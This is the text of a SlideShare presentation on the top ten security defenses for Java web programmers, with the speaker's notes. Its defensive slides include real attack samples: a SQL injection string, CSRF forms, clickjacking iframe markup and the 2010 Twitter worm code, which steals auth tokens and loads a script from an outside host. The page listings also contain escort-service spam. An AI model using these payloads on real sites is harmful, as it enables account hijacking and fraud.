Ecosystem Interactions Class Discussion Presentation in Blue Green Lined Styl...fonyou31
 
Beyond the EU: DORA and NIS 2 Directive's Global Impact
Beyond the EU: DORA and NIS 2 Directive's Global ImpactBeyond the EU: DORA and NIS 2 Directive's Global Impact
Beyond the EU: DORA and NIS 2 Directive's Global ImpactPECB
 
Sports & Fitness Value Added Course FY..
Sports & Fitness Value Added Course FY..Sports & Fitness Value Added Course FY..
Sports & Fitness Value Added Course FY..Disha Kariya
 

Último (20)

Código Creativo y Arte de Software | Unidad 1
Código Creativo y Arte de Software | Unidad 1Código Creativo y Arte de Software | Unidad 1
Código Creativo y Arte de Software | Unidad 1
 
Advanced Views - Calendar View in Odoo 17
Advanced Views - Calendar View in Odoo 17Advanced Views - Calendar View in Odoo 17
Advanced Views - Calendar View in Odoo 17
 
9548086042 for call girls in Indira Nagar with room service
9548086042  for call girls in Indira Nagar  with room service9548086042  for call girls in Indira Nagar  with room service
9548086042 for call girls in Indira Nagar with room service
 
APM Welcome, APM North West Network Conference, Synergies Across Sectors
APM Welcome, APM North West Network Conference, Synergies Across SectorsAPM Welcome, APM North West Network Conference, Synergies Across Sectors
APM Welcome, APM North West Network Conference, Synergies Across Sectors
 
fourth grading exam for kindergarten in writing
fourth grading exam for kindergarten in writingfourth grading exam for kindergarten in writing
fourth grading exam for kindergarten in writing
 
Paris 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityParis 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activity
 
Call Girls in Dwarka Mor Delhi Contact Us 9654467111
Call Girls in Dwarka Mor Delhi Contact Us 9654467111Call Girls in Dwarka Mor Delhi Contact Us 9654467111
Call Girls in Dwarka Mor Delhi Contact Us 9654467111
 
Sanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfSanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdf
 
1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdf
 
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in DelhiRussian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
 
General AI for Medical Educators April 2024
General AI for Medical Educators April 2024General AI for Medical Educators April 2024
General AI for Medical Educators April 2024
 
Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)
 
Grant Readiness 101 TechSoup and Remy Consulting
Grant Readiness 101 TechSoup and Remy ConsultingGrant Readiness 101 TechSoup and Remy Consulting
Grant Readiness 101 TechSoup and Remy Consulting
 
Arihant handbook biology for class 11 .pdf
Arihant handbook biology for class 11 .pdfArihant handbook biology for class 11 .pdf
Arihant handbook biology for class 11 .pdf
 
Advance Mobile Application Development class 07
Advance Mobile Application Development class 07Advance Mobile Application Development class 07
Advance Mobile Application Development class 07
 
IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...
IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...
IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...
 
Class 11th Physics NEET formula sheet pdf
Class 11th Physics NEET formula sheet pdfClass 11th Physics NEET formula sheet pdf
Class 11th Physics NEET formula sheet pdf
 
Ecosystem Interactions Class Discussion Presentation in Blue Green Lined Styl...
Ecosystem Interactions Class Discussion Presentation in Blue Green Lined Styl...Ecosystem Interactions Class Discussion Presentation in Blue Green Lined Styl...
Ecosystem Interactions Class Discussion Presentation in Blue Green Lined Styl...
 
Beyond the EU: DORA and NIS 2 Directive's Global Impact
Beyond the EU: DORA and NIS 2 Directive's Global ImpactBeyond the EU: DORA and NIS 2 Directive's Global Impact
Beyond the EU: DORA and NIS 2 Directive's Global Impact
 
Sports & Fitness Value Added Course FY..
Sports & Fitness Value Added Course FY..Sports & Fitness Value Added Course FY..
Sports & Fitness Value Added Course FY..
 

Top Ten Java Defense for Web Applications v2

  • 1. Top Ten Security Defenses for Java Programmers
  • 2. Jim Manico @manicode OWASP Volunteer - Global OWASP Board Member - OWASP Cheat-Sheet Series Project Manager and Contributor Independent Secure Coding Instructor - 16 years of web-based, databasedriven software development and analysis experience - Secure coding educator/author - Writing a book with McGraw-Hill and Oracle Press because I am a masochist and enjoy pain and suffering for less than minimum wage while being harassed daily by my editor(s). Kama'aina Resident of Kauai, Hawaii - Aloha!
  • 4. Anatomy of a SQL Injection Attack newEmail = request('new_email'); update users set email='newEmail' where id=132005;
  • 5. Anatomy of a SQL Injection Attack 1. SUPER AWESOME HACK: newEmail = '; 2. update users set email='newEmail' where id=132005; 3. update users set email='';' where id=132005;
  • 6. Query Parameterization in Java String newName = request.getParameter("newName"); String id = request.getParameter("id"); //SQL PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id); //HQL Query safeHQLQuery = session.createQuery("from Employees where id=:empId"); safeHQLQuery.setParameter("empId", id);
  • 7. [2] Password Storage Store password based on need Use a salt (de-duplication) SCRYPT/PBKDF2 (slow, performance hit, easy) HMAC (requires good key storage, tough)
  • 8. Allow very complex and long passwords 1) Do not limit the type of characters or length of user password • Limiting passwords to protect against injection is doomed to failure • Use proper encoder and other defenses described instead • Set large password length limits • Django DOS vulnerability
  • 9. Salt your passwords 2) Use a cryptographically strong credential-specific salt protect( [salt] + [password] ); • Use a 32char or 64char salt (actual size dependent on protection function); • Do not depend on hiding, splitting, or otherwise obscuring the salt
  • 10. Leverage One-Way Keyed Functions 3a) Impose difficult verification on [only] the attacker (strong/fast) HMAC-SHA-256( [private key], [salt] + [password] ) • Protect this key as any private key using best practices • Store the key outside the credential store • Isolate password hash generation to a separate service
  • 11. Leverage One-Way Adaptive/Slow Functions 3b) Impose difficult verification on the attacker and defender (weak/slow) PBKDF2([salt] + [password], c=10,000,000); • PBKDF2 when FIPS certification or enterprise support on many platforms is required • Scrypt where resisting any/all hardware accelerated attacks is necessary • Both options will limit your applications ability to scale
  • 13. Contextual Output Encoding (XSS Defense) –Session Hijacking –Site Defacement –Network Scanning –Undermining CSRF Defenses –Site Redirection/Phishing –Load of Remotely Hosted Scripts –Data Theft –Keystroke Logging –Attackers using XSS more frequently
  • 14. XSS Defense by Data Type and Context Data Type Context Defense String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML Sanitizer) Any DOM DOM XSS Cheat Sheet Untrusted JavaScript Any Sandboxing JSON Client Parse Time JSON.parse() or json2.js Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
  • 15.
  • 16.
  • 17. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project • No third party libraries or configuration necessary • This code was designed for high-availability/highperformance encoding functionality • Simple drop-in encoding functionality • Redesigned for performance • More complete API (uri and uri component encoding, etc) in some regards. • Java 1.5+ • Last updated February 3, 2014 (version 1.1.1)
  • 18. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project HTML Contexts Encode#forHtmlContent(String) Encode#forHtmlAttribute(String) Encode#forHtmlUnquotedAttribute (String) XML Contexts Encode#forXml(String) Encode#forXmlContent(String) Encode#forXmlAttribute(String) Encode#forXmlComment(String) Encode#forCDATA(String) CSS Contexts Encode#forCssString(String) Encode#forCssUrl(String) JavaScript Contexts Encode#forJavaScript(String) Encode#forJavaScriptAttribute(String) Encode#forJavaScriptBlock(String) Encode#forJavaScriptSource(String) URI/URL contexts Encode#forUri(String) Encode#forUriComponent(String)
  • 19. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project The Problem Web Page built in Java JSP is vulnerable to XSS The Solution 1) <input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>" /> 2) <textarea name="text"><%= Encode.forHtmlContent(textValue) %>" /> 3) <button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');"> click me </button> 4) <script type="text/javascript"> var msg = "<%= Encode.forJavaScriptBlock(message) %>"; alert(msg); </script>
  • 20. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project <script src="/my-server-side-generated-script"> class MyServerSideGeneratedScript extends HttpServlet { void doGet(blah) { response.setContentType("text/javascript; charset=UTF-8"); PrintWriter w = response.getWriter(); w.println("function() {"); w.println(" alert('" + Encode.forJavaScriptSource(theTextToAlert) + "');"); w.println("}"); } }
  • 21. What is HTML Sanitization • HTML sanitization takes untrusted markup as input and outputs “safe” markup • Different from encoding (URLEncoding, HTMLEncoding, etc.) • HTML sanitization is everywhere • TinyMCE/CKEditor Widgets • Web forum posts w/markup • Javascript-based Windows 8 Store apps • Outlook.com
  • 22.
  • 23. OWASP HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project • HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS. • This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owasp-java-htmlsanitizer/wiki/AttackReviewGroundRules. • Very easy to use. • It allows for simple programmatic POSITIVE policy configuration. No XML config. • Actively maintained by Mike Samuel from Google's AppSec team! • This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
  • 24. Solving Real World Problems with the OWASP HTML Sanitizer Project The Problem Web Page is vulnerable to XSS because of untrusted HTML The Solution PolicyFactory policy = new HtmlPolicyBuilder() .allowElements("a") .allowUrlProtocols("https") .allowAttributes("href").onElements("a") .requireRelNofollowOnLinks() .build(); String safeHTML = policy.sanitize(untrustedHTML);
  • 25. Solving Real World Problems with the OWASP HTML Sanitizer Project The Problem Web Page is vulnerable to XSS because of untrusted HTML The Solution PolicyFactory policy = new HtmlPolicyBuilder() .allowElements("p") .allowElements( new ElementPolicy() { public String apply(String elementName, List<String> attrs) { attrs.add("class"); attrs.add("header-" + elementName); return "div"; } }, "h1", "h2", "h3", "h4", "h5", "h6")) .build(); String safeHTML = policy.sanitize(untrustedHTML);
  • 26. [4] Cross Site Request Forgery Defense <img src="https://google.com/logo.png"> <img src="https://google.com/deleteMail/7/confirm=true"> <form method="POST" action="https://mybank.com/transfer"> <input type="hidden" name="account" value="23532632"/> <input type="hidden" name="amount" value="1000"/> </form> <script>document.forms[0].submit()</script>
  • 27. Real World CSRF – Netflix (2008) <html> <head> <script language="JavaScript" type="text/javascript"> function load_image2() { var img2 = new Image(); img2.src="http://www.netflix.com/MoveToTop?movieid=70110672 &fromq=true"; } </script> </head> <body> <img src="http://www.netflix.com/JSON/AddToQueue?movieid=7011067 2" width="1" height="1" border="0"> <script>setTimeout( 'load_image2()', 2000 );</script> </body> </html>
  • 28. Twitter XSS/CSRF Worm Code (2010) var content = document.documentElement.innerHTML; authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g); var authtoken = authreg.exec(content);authtoken = authtoken[1]; var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); var ajaxConn = new XHConn(); ajaxConn.connect("/status/update","POST","authenticity_token=" + authtoken+"&status=" + updateEncode + "&tab=home&update=update"); var ajaxConn1 = new XHConn(); ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+ authtoken+"&user[url]="+xss+"&tab=home&update=update");
  • 30. CSRF Tokens and Re-authentication – Cryptographic Tokens • Primary and most powerful defense • XSS Defense Required – Require users to re-authenticate
  • 33. AES
  • 37. unique IV per message
  • 39. key storage and management
  • 43. derive integrity and confidentiality keys from same master key with labeling
  • 44. don’t forget to generate a master key from a good random source
  • 45. Solving Real World Crypto Storage Problems With Google KeyCzar The Problem Web Application needs to encrypt and decrypt sensitive data The Solution Crypter crypter = new Crypter("/path/to/your/keys"); String ciphertext = crypter.encrypt("Secret message"); String plaintext = crypter.decrypt(ciphertext); Keyczar is an open source cryptographic toolkit for Java Designed to make it easier and safer for developers to use cryptography in their applications. • • • • • • A simple API Key rotation and versioning Safe default algorithms, modes, and key lengths Automated generation of initialization vectors and ciphertext signatures Java implementation Inferior Python and C++ support because Java is way cooler
  • 47. First, make a tempting site
  • 48.
  • 49. <style>iframe {width:300px; height:100px; position:absolute; top:0; left:0; filter:alpha(opacity=00); opacity:0.0;}</style><iframe src="https://mail.google.com">
  • 50. iframe is invisible, but still clickable!
  • 51.
  • 52.
  • 53. X-Frame-Options // to prevent all framing of this content response.addHeader( "X-FRAME-OPTIONS", "DENY" ); // to allow framing of this content only by this site response.addHeader( "X-FRAME-OPTIONS", "SAMEORIGIN" ); // to allow framing from a specific domain response.addHeader( "X-FRAME-OPTIONS", "ALLOW-FROM X" );
  • 54. Legacy Browser Clickjacking Defense <style id="antiCJ">body{display:none !important;}</style> <script type="text/javascript"> if (self === top) { var antiClickjack = document.getElementByID("antiCJ"); antiClickjack.parentNode.removeChild(antiClickjack) } else { top.location = self.location; } </script>
  • 55. [7] Controlling Access if ((user.isManager() || user.isAdministrator() || user.isEditor()) && (user.id() != 1132)) { //execute action } How do you change the policy of this code?
  • 56. Apache SHIRO http://shiro.apache.org/ • Apache Shiro is a powerful and easy to use Java security framework. • Offers developers an intuitive yet comprehensive solution to authentication, authorization, cryptography, and session management. • Built on sound interface-driven design and OO principles. • Enables custom behavior. • Sensible and secure defaults for everything.
  • 57. Most Coders Hard-Code Roles in Code if ( user.isRole( "JEDI" ) || user.isRole( "PADWAN" ) || user.isRole( "SITH_LORD" ) || user.isRole( "JEDI_KILLING_CYBORG" ) ) { log.info("You may use a lightsaber ring. Use it wisely."); } else { log.info("Lightsaber rings are for schwartz masters."); }
  • 58. Solving Real World Access Control Problems with the Apache Shiro The Problem Web Application needs secure access control mechanism The Solution if ( currentUser.isPermitted( "lightsaber:wield" ) ) { log.info("You may use a lightsaber ring. Use it wisely."); } else { log.info("Sorry, lightsaber rings are for schwartz masters only."); }
  • 59. Solving Real World Access Control Problems with the Apache Shiro The Problem Web Application needs to secure access to a specific object The Solution int winnebagoId = request.getInt("winnebago_id"); if ( currentUser.isPermitted( "winnebago:drive:" + winnebagoId) ) { log.info("You are permitted to 'drive' the 'winnebago’. Here are the keys."); } else { log.info("Sorry, you aren't allowed to drive this winnebago!"); }
  • 60. [8] App Layer Intrusion Detection Great detection points: –Input validation failure server side when client side validation exists –Input validation failure server side on non-user editable parameters such as hidden fields, checkboxes, radio buttons or select lists –Forced browsing to common attack entry points (e.g. /admin/secretlogin.jsp) or honeypot URL (e.g. a fake path listed in /robots.txt)
  • 61. App Layer Intrusion Detection –Blatant SQLi or XSS injection attacks –Workflow sequence abuse • multi-sequence form submission in wrong order –Custom business logic • basket vs catalogue price mismatch –OWASP AppSensor • https://www.owasp.org/index.php/OWASP_AppSensor_Project
  • 62. [9] Encryption in Transit (HTTPS/TLS) Confidentiality, Integrity and Authenticity in Transit • Authentication credentials and session identifiers must be encrypted in transit via HTTPS/SSL • Starting when the login form is rendered until logout is complete HTTPS configuration best practice • https://www.owasp.org/index.php/Transport_Layer_Protectio n_Cheat_Sheet HSTS (Strict Transport Security • http://www.youtube.com/watch?v=zEV3HOuM_Vw • Strict-Transport-Security: max-age=31536000 Certificate Pinning • https://www.owasp.org/index.php/Pinning_Cheat_Sheet
  • 63. Certificate Pinning What is Pinning –Pinning is a key continuity scheme –Detect when an imposter with a fake but CA validated certificate attempts to act like the real server 2 Types of pinning –Carry around a copy of the server’s public key; –Great if you are distributing a dedicated client-server application since you know the server’s certificate or public key in advance • Note of the server’s public key on first use (Trust-onFirst-Use, Tofu) –Useful when no a priori knowledge exists, such as SSH or a Browser • https://www.owasp.org/index.php/Pinning_Cheat_Shee t
  • 64. [10] Multi Factor Authentication Google, Facebook, PayPal, Apple, AWS, Dropbox, Twitter Blizzard's Battle.Net, Valve's Steam, Yahoo
  • 65. Basic MFA Considerations • Where do you send the token? • Email (worst) • SMS (ok) • Mobile native app (good) –Token generator (good) –Private Key/PUSH notification (awesome) • Dedicated token (great) • Printed Tokens (interesting) • How do you handle unavailable MFA devices? • Printed back-up codes • Fallback mechanism (like email) • Call in center
  • 66. Forgot Password Secure Design Require identity questions Last name, account number, email, DOB Enforce lockout policy Ask one or more good security questions https://www.owasp.org/index.php/Choosing_and_Using_Security _Questions_Cheat_Sheet Send the user a randomly generated token via out-of-band email, SMS or token Verify code in same web session Enforce lockout policy Change password Enforce password policy
  • 67. Please steal and plagiarize this presentation! GET THE WORD OUT jim@owasp.org slideshare.net/jimmanico

Notas do Editor

  1. Guidance Do not defeat users’ attempts to secure their credentialslimit type of characters or length of user passwordsSome organizations restrict the 1) types of special characters and 2) length of credentials accepted by systems because of their inability to prevent SQL Injection, Cross-site scripting, and analogous command-injection attacks. However, secure password storage mechanisms possess design elements that prevent length, constituency, and even encoding from subverting system security. Do not apply length, character set, or encoding restrictions on the entry or storageof credentials. Continue applying encoding, escaping, masking, outright omission, and other best practices to rendering this information when applicable.   
  2. Salts serve two purposes: De-duplicate protected output of identical credentials andAugment entropy fed to protecting function without relying on credential complexity. The second aims to make pre-computed lookup attacks [*2] on an individual credential and time-based attacks on a population intractable.
  3. HMACs inherit properties of hash functions including their speed, allowing for near instant verification. Key size imposes intractable size- and/or space- requirements on compromise--even for common credentials (aka password = ‘password’). Designers protecting stored credentials with keyed functions: Use a single “site-wide” key; Protect this key as any private key using best practices;Store the key outside the credential store (aka: not in the database);Generate the key using cryptographically-strong pseudo-random data;Do not worry about output block size (i.e. SHA-256 vs. SHA-512).Example protect() pseudo-code follows:return [salt] + HMAC-SHA-256([key], [salt] + [credential]);  Upholding security improvement over (solely) salted schemes relies on proper key management. Design protection/verification for compromiseThe frequency and ease with which threats steal protected credentials demands “design for failure”. having detected theft, a credential storage scheme must support continued operation by marking credential data compromised and engaging alternative credential validation workflows as follows: Protect the user’s accountInvalidate authN ‘shortcuts’ disallowing login without 2nd factors or secret questionsDisallow changes to account (secret questions, out of band exchange channel setup/selection, etc.)Load &amp; use new protection schemeLoad a new (stronger) protect(credential) function Include version information stored with formSet ‘tainted’/‘compromised’ bit until user resets credentialsRotate any keys and/or adjust protection function parameters (iter count) Increment scheme version numberWhen user logs in:Validate credentials based on stored version (old or new); if old demand 2nd factor or secret answersPrompt user for credential change, apologize, &amp; conduct OOB confirmationConvert stored credentials to new scheme as user successfully log in Supporting workflow outlined above requires tight integration with Authentication frameworks and workflows.http://www.tarsnap.com/scrypt/scrypt.pdf 
  4. Impose intractable verification on [only] attackerThe function used to protect stored credentials should balance between A) acceptable response time for verification of users’ credentials during peak use while B) placing time required to map &lt;credential&gt; -&gt; &lt;protected form&gt;  beyond threats’ hardware (GPU, FPGA) and technique (dictionary-based, brute force, etc) capabilities. Two approaches facilitate this, each imperfectly.Leverage an adaptive one-way function - Adaptive one-way functions compute a one-way (irreversible) transform. Each function allows configuration of ‘work factor’. Underlying mechanisms used to achieve irreversibility and govern work factors (such as time, space, and parallelism) vary between functions and remain unimportant to this discussion. Select: PBKDF2 [*4] when FIPS certification or enterprise support on many platforms is required;Scrypt [*5] where resisting any/all hardware accelerated attacks is necessary but support isn’t. Example protect() pseudo-code follows:return [salt] + pbkdf2([salt], [credential], c=10000);  Designers select one-way adaptive functions to implement protect() because these functions can be configured to cost (linearly or exponentially) more than a hash function to execute. Defenders adjust work factor to keep pace with threats’ increasing hardware capabilities. Those implementing adaptive one-way functions must tune work factors so as to impede attackers while providing acceptable user experience and scale. Additionally, adaptive one-way functions do not effectively prevent reversal of common dictionary-based credentials (users with password ‘password’) regardless of user population size or salt usage.  Leverage Keyed functions - Keyed functions, such as HMACs, compute a one-way (irreversible) transform using a private key and given input. For example, HMACs inherit properties of hash functions including their speed, allowing for near instant verification. Key size imposes intractable size- and/or space- requirements on compromise--even for common credentials (aka password = ‘password’). Designers protecting stored credentials with keyed functions: Use a single “site-wide” key; Protect this key as any private key using best practices;Store the key outside the credential store (aka: not in the database);Generate the key using cryptographically-strong pseudo-random data;Do not worry about output block size (i.e. SHA-256 vs. SHA-512).Example protect() pseudo-code follows:return [salt] + HMAC-SHA-256([key], [salt] + [credential]);  Upholding security improvement over (solely) salted schemes relies on proper key management. Design protection/verification for compromiseThe frequency and ease with which threats steal protected credentials demands “design for failure”. having detected theft, a credential storage scheme must support continued operation by marking credential data compromised and engaging alternative credential validation workflows as follows: Protect the user’s accountInvalidate authN ‘shortcuts’ disallowing login without 2nd factors or secret questionsDisallow changes to account (secret questions, out of band exchange channel setup/selection, etc.)Load &amp; use new protection schemeLoad a new (stronger) protect(credential) function Include version information stored with formSet ‘tainted’/‘compromised’ bit until user resets credentialsRotate any keys and/or adjust protection function parameters (iter count) Increment scheme version numberWhen user logs in:Validate credentials based on stored version (old or new); if old demand 2nd factor or secret answersPrompt user for credential change, apologize, &amp; conduct OOB confirmationConvert stored credentials to new scheme as user successfully log in Supporting workflow outlined above requires tight integration with Authentication frameworks and workflows.http://www.tarsnap.com/scrypt/scrypt.pdf 
  5. HTML ContextsEncode#forHtmlContent(String) Encode#forHtmlAttribute(String) Encode#forHtmlUnquotedAttribute(String) XML ContextsEncode#forXml(String) Encode#forXmlContent(String) Encode#forXmlAttribute(String) Encode#forXmlComment(String) Encode#forCDATA(String) CSS ContextsEncode#forCssString(String)Encode#forCssUrl(String)JavaScript ContextsEncode#forJava(String)Encode#forJavaScript(String) Encode#forJavaScriptAttribute(String) JavaScript attributeEncode#forJavaScriptBlock(String) JavaScript blockEncode#forJavaScriptSource(String) JavaScript sourceURI/URL contextsEncode#forUri(String)Encode#forUriComponent(String)
  6. From @randomdross
  7. AES KeysAES provides authenticated encryption through use of HMAC_SHA1 and AES.AES keys consist of the following fields:&quot;mode&quot;: A CipherMode. Currently &quot;CBC&quot; is the only mode supported.&quot;aesKeyString&quot;: A WebSafeBase64 representation of the raw AES key bytes.&quot;hmacKey&quot;: A JSON representation of an HmacKey used to sign ciphertexts.The block size is 128 bits.
  8. Put this all in the HEAD tag
  9. Pinning is a key continuity scheme, and the idea is to either (1) carry around a copy of the server’s public key; or (2) note of the server’s public key on first use (Trust-on-First-Use, Tofu). The former is great if you are distributing a dedicated client-server application since you know the server’s certificate or public key in advance. The latter is useful when no a priori knowledge exists, such as SSH or a Browser. Both detect the unexpected change that occurs when an imposter with a fake certificate attempts to act like the real server. While you have a choice to pin the certificate or public key, it’s often best to pin the public key. That is because some companies, such as Google, rotate its certificate regularly (every 30 days or so) but re-certifies the inner public key.